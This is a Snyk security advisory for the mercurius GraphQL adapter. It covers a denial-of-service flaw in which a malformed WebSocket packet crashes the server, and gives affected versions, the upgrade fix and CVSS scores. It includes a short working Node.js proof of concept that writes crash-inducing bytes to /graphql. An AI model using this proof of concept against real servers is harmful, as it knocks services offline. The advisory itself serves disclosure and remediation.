Uncaught Exception Affecting mercurius package, versions <8.13.2 >=9.0.0 <11.5.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.15% (53rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-MERCURIUS-3227610
  • published 10 Jan 2023
  • disclosed 9 Jan 2023
  • credit marcolanaro

How to fix?

Upgrade mercurius to version 8.13.2, 11.5.0 or higher.

Overview

mercurius is a GraphQL adapter for Fastify

Affected versions of this package are vulnerable to Uncaught Exception when sending a malformed packet over WebSocket to /graphql.

PoC

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:1337/graphql');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    Low
Expand this section

NVD

7.5 high